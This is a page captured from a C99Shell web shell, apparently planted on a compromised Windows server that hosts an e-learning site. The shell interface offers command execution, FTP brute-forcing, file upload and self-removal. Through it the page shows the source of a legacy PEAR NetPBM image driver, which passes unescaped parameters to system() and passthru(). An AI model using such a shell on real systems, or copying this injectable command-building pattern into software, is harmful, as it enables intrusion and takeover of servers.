!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\aulavirtual\admin\editor\plugins\ImageManager\Classes\   drwxrwxrwx
Free 4.06 GB of 39.52 GB (10.27%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     NetPBM.php (8.41 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/***********************************************************************
** Title.........:  NetPBM Driver
** Version.......:  1.0
** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
** Filename......:  NetPBM.php
** Last changed..:  30 Aug 2003 
** Notes.........:  Orginal is from PEAR
**/

// +----------------------------------------------------------------------+
// | PHP Version 4                                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2002 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 2.02 of the PHP license,      |
// | that is bundled with this package in the file LICENSE, and is        |
// | available at through the world-wide-web at                           |
// | http://www.php.net/license/2_02.txt.                                 |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
// +----------------------------------------------------------------------+
//
// $Id: NetPBM.php,v 1.3 2005/03/19 14:34:45 thorstenr Exp $
//
// Image Transformation interface using command line NetPBM

require_once(dirname(__FILE__).'/Transform.php');

Class 
Image_Transform_Driver_NetPBM extends Image_Transform
{

    
/**
     * associative array commands to be executed
     * @var array
     */
    
var $command = array();

    
/**
     * Class Constructor
     */
    
function Image_Transform_Driver_NetPBM()
    {
        
$this->uid md5($_SERVER['REMOTE_ADDR']);
            
        return 
true;
    } 
// End function Image_NetPBM

    /**
     * Load image
     *
     * @param string filename
     *
     * @return mixed none or a PEAR error object on error
     * @see PEAR::isError()
     */
    
function load($image)
    {
        
//echo $image;
        
$this->image $image;
        
$this->_get_image_details($image);
    } 
// End load

    /**
     * Resizes the image
     *
     * @return none
     * @see PEAR::isError()
     */
    
function _resize($new_x$new_y)
    {
        
// there's no technical reason why resize can't be called multiple
        // times...it's just silly to do so

        
$this->command[] = IMAGE_TRANSFORM_LIB_PATH .
                           
"pnmscale -width $new_x -height $new_y";

        
$this->_set_new_x($new_x);
        
$this->_set_new_y($new_y);
    } 
// End resize

    /**
     * Crop the image
     *
     * @param int $crop_x left column of the image
     * @param int $crop_y top row of the image
     * @param int $crop_width new cropped image width
     * @param int $crop_height new cropped image height
     */
    
function crop($crop_x$crop_y$crop_width$crop_height
    {
        
$this->command[] = IMAGE_TRANSFORM_LIB_PATH .
                            
"pnmcut -left $crop_x -top $crop_y -width $crop_width -height $crop_height";
    }

    
/**
     * Rotates the image
     *
     * @param int $angle The angle to rotate the image through
     */
    
function rotate($angle)
    {
        
$angle = -1*floatval($angle);

        if(
$angle 90)
        {   
            
$this->command[] = IMAGE_TRANSFORM_LIB_PATH "pnmrotate -noantialias 90";
            
$this->rotate(-1*($angle-90));
        }
        else if (
$angle < -90)
        {
            
$this->command[] = IMAGE_TRANSFORM_LIB_PATH "pnmrotate -noantialias -90";
            
$this->rotate(-1*($angle+90));
        }
        else
            
$this->command[] = IMAGE_TRANSFORM_LIB_PATH "pnmrotate -noantialias $angle";
    } 
// End rotate

    /**
     * Flip the image horizontally or vertically
     *
     * @param boolean $horizontal true if horizontal flip, vertical otherwise
     */
    
function flip($horizontal
    {
        if(
$horizontal
            
$this->command[] = IMAGE_TRANSFORM_LIB_PATH "pnmflip -lr";
        else
            
$this->command[] = IMAGE_TRANSFORM_LIB_PATH "pnmflip -tb";
    }

    
/**
     * Adjust the image gamma
     *
     * @param float $outputgamma
     *
     * @return none
     */
    
function gamma($outputgamma 1.0) {
        
$this->command[13] = IMAGE_TRANSFORM_LIB_PATH "pnmgamma $outputgamma";
    }

    
/**
     * adds text to an image
     *
     * @param   array   options     Array contains options
     *             array(
     *                  'text'          // The string to draw
     *                  'x'             // Horizontal position
     *                  'y'             // Vertical Position
     *                  'Color'         // Font color
     *                  'font'          // Font to be used
     *                  'size'          // Size of the fonts in pixel
     *                  'resize_first'  // Tell if the image has to be resized
     *                                  // before drawing the text
     *                   )
     *
     * @return none
     */
    
function addText($params)
    {
        
$default_params = array('text' => 'This is Text',
                                
'x' => 10,
                                
'y' => 20,
                                
'color' => 'red',
                                
'font' => 'Arial.ttf',
                                
'size' => '12',
                                
'angle' => 0,
                                
'resize_first' => false);
        
// we ignore 'resize_first' since the more logical approach would be
        // for the user to just call $this->_resize() _first_ ;)
        
extract(array_merge($default_params$params));
        
$this->command[] = "ppmlabel -angle $angle -colour $color -size "
                           
."$size -x $x -y ".$y+$size." -text \"$text\"";
    } 
// End addText

    
function _postProcess($type$quality$save_type)
    {
        
$type is_null($type) || $type==''$this->type $type;
        
$save_type is_null($save_type) || $save_type==''$this->type $save_type;
        
//echo "TYPE:". $this->type;
        
array_unshift($this->commandIMAGE_TRANSFORM_LIB_PATH
                      
$type.'topnm '$this->image);
        
$arg '';
        switch(
strtolower($save_type)){
            case 
'gif':
                
$this->command[] = IMAGE_TRANSFORM_LIB_PATH "ppmquant 256";
                
$this->command[] = IMAGE_TRANSFORM_LIB_PATH "ppmto$save_type";
                break;
            case 
'jpg':
            case 
'jpeg':
                
$arg "--quality=$quality";
                
$this->command[] = IMAGE_TRANSFORM_LIB_PATH "ppmto$save_type $arg";
                break;
            default:
                
$this->command[] = IMAGE_TRANSFORM_LIB_PATH "pnmto$save_type $arg";
                break;
        } 
// switch
        
return implode('|'$this->command);
    } 

    
/**
     * Save the image file
     *
     * @param $filename string the name of the file to write to
     * @param string $type (jpeg,png...);
     * @param int $quality 75
     * @return none
     */
    
function save($filename$type=null$quality 85)
    {
        
$cmd $this->_postProcess(''$quality$type) . ">$filename";
            
        
//if we have windows server
        
if(isset($_ENV['OS']) && eregi('window',$_ENV['OS']))
            
$cmd ereg_replace('/','\\',$cmd);
        
//echo $cmd."##";
        
$output system($cmd);
        
error_log('NETPBM: '.$cmd);
        
//error_log($output);
        
$this->command = array();
    } 
// End save


    /**
     * Display image without saving and lose changes
     *
     * @param string $type (jpeg,png...);
     * @param int $quality 75
     * @return none
     */
    
function display($type null$quality 75)
    {
        
header('Content-type: image/' $type);
        
$cmd $this->_postProcess($type$quality);
        
        
passthru($cmd);
        
$this->command = array();
    }

    
/**
     * Destroy image handle
     *
     * @return none
     */
    
function free()
    {
        
// there is no image handle here
        
return true;
    }


// End class NetPBM
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--